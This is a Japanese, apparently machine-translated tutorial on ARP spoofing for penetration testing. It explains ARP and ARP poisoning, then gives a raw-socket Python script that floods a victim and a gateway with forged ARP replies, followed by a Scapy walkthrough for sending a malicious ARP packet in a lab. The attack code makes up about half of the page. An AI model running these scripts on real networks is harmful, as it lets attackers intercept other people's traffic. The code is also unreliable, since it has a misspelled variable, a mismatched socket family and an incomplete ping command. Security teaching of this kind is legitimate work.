Python-penetration-testing-arp-spoofing
Python侵入テスト-ARPスプーフィング
ARPは、インターネットプロトコル(IP)アドレスを物理マシンアドレスにマッピングするために使用されるステートレスプロトコルとして定義できます。
ARPの働き
このセクションでは、ARPの動作について学習します。 ARPの仕組みを理解するには、次の手順を検討してください-
- *ステップ1 *-最初に、マシンが別のマシンと通信する場合、物理アドレスのARPテーブルを検索する必要があります。
- *ステップ2 *-マシンの物理アドレスが見つかった場合、パケットは適切な長さに変換された後、目的のマシンに送信されます
- *ステップ3 *-ただし、テーブル内のIPアドレスのエントリが見つからない場合、ARP_requestはネットワーク経由でブロードキャストされます。
- *ステップ4 *-ネットワーク上のすべてのマシンは、ブロードキャストされたIPアドレスをMACアドレスと比較し、ネットワーク内のマシンのいずれかがアドレスを識別した場合、IPおよびMACアドレスとともにARP_requestに応答します。 このようなARPメッセージはARP_replyと呼ばれます。
- *ステップ5 *-最後に、要求を送信するマシンはARPテーブルにアドレスペアを保存し、通信全体が行われます。
ARPスプーフィングとは何ですか?
悪意のある攻撃者がローカルエリアネットワークを介して偽造されたARP要求を送信する攻撃の一種として定義される場合があります。 ARPポイズニングは、ARPスプーフィングとも呼ばれます。 それは、次の点の助けを借りて理解することができます-
- スイッチを過負荷にするための最初のARPスプーフィングは、膨大な数の偽装されたARP要求および応答パケットを構築します。
- その後、スイッチは転送モードに設定されます。
- これで、ARPテーブルはスプーフィングされたARP応答であふれ、攻撃者はすべてのネットワークパケットを盗聴できるようになります。
Pythonを使用した実装
このセクションでは、ARPスプーフィングのPython実装を理解します。 このためには、3つのMACアドレスが必要です。1つ目は被害者、2つ目は攻撃者、3つ目はゲートウェイです。 それに加えて、ARPプロトコルのコードを使用する必要もあります。
次のように必要なモジュールをインポートしましょう-
import socket
import struct
import binascii
ここで、3つのパラメーターを持つソケットを作成します。 最初のパラメーターはパケットインターフェイス(Linux固有のPF_PACKETおよびWindowsのAF_INET)を示し、2番目のパラメーターはそれがrawソケットであるかどうかを示し、3番目のパラメーターは関心のあるプロトコルを示します(ここではIPに使用される0x0800プロトコル)。
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
攻撃者、被害者、ゲートウェイマシンのMACアドレスを提供します-
attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'
私たちは示されているようにARPプロトコルのコードを与える必要があります-
code ='\x08\x06'
犠牲マシン用とゲートウェイマシン用の2つのイーサネットパケットは、次のように作成されています-
ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac + attckmac + code
コードの次の行は、ARPヘッダーに応じた順序です-
htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'
ここで、ゲートウェイマシンと被害者のマシンのIPアドレスを指定する必要があります(ゲートウェイと被害者のマシンに次のIPアドレスがあると仮定しましょう)
gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'
- socket.inet_aton()*メソッドを使用して、上記のIPアドレスを16進形式に変換します。
gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )
次のコード行を実行して、ゲートウェイマシンのIPアドレスを変更します。
victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip
while 1:
s.send(victim_ARP)
s.send(gateway_ARP)
Kali LinuxでScapyを使用した実装
ARPスプーフィングは、Kali LinuxのScapyを使用して実装できます。 同じを実行するには、次の手順に従ってください-
ステップ1:攻撃者のマシンのアドレス
このステップでは、Kali Linuxのコマンドプロンプトでコマンド ifconfig を実行して、攻撃者のマシンのIPアドレスを見つけます。
ステップ2:ターゲットマシンのアドレス
このステップでは、別の仮想マシンで開く必要があるKali Linuxのコマンドプロンプトでコマンド ifconfig を実行して、ターゲットマシンのIPアドレスを見つけます。
ステップ3:ターゲットマシンへのPing
このステップでは、次のコマンドの助けを借りて、攻撃者のマシンからターゲットマシンにpingを実行する必要があります-
Ping –c 192.168.43.85(say IP address of target machine)
ステップ4:ターゲットマシンのARPキャッシュ
2台のマシンがARPパケットを使用してMACアドレスを交換することは既にわかっているため、手順3の後、ターゲットマシンで次のコマンドを実行してARPキャッシュを確認できます-
arp -n
ステップ5:Scapyを使用したARPパケットの作成
次のようにScapyの助けを借りてARPパケットを作成できます-
scapy
arp_packt = ARP()
arp_packt.display()
ステップ6:Scapyを使用した悪意のあるARPパケットの送信
私たちは次のようにScapyの助けを借りて悪意のあるARPパケットを送信することができます-
arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)
ステップ7:ターゲットマシンのARPキャッシュを再度チェックします
ターゲットマシンのARPキャッシュを再度確認すると、偽のアドレス「1.1.1.1」が表示されます。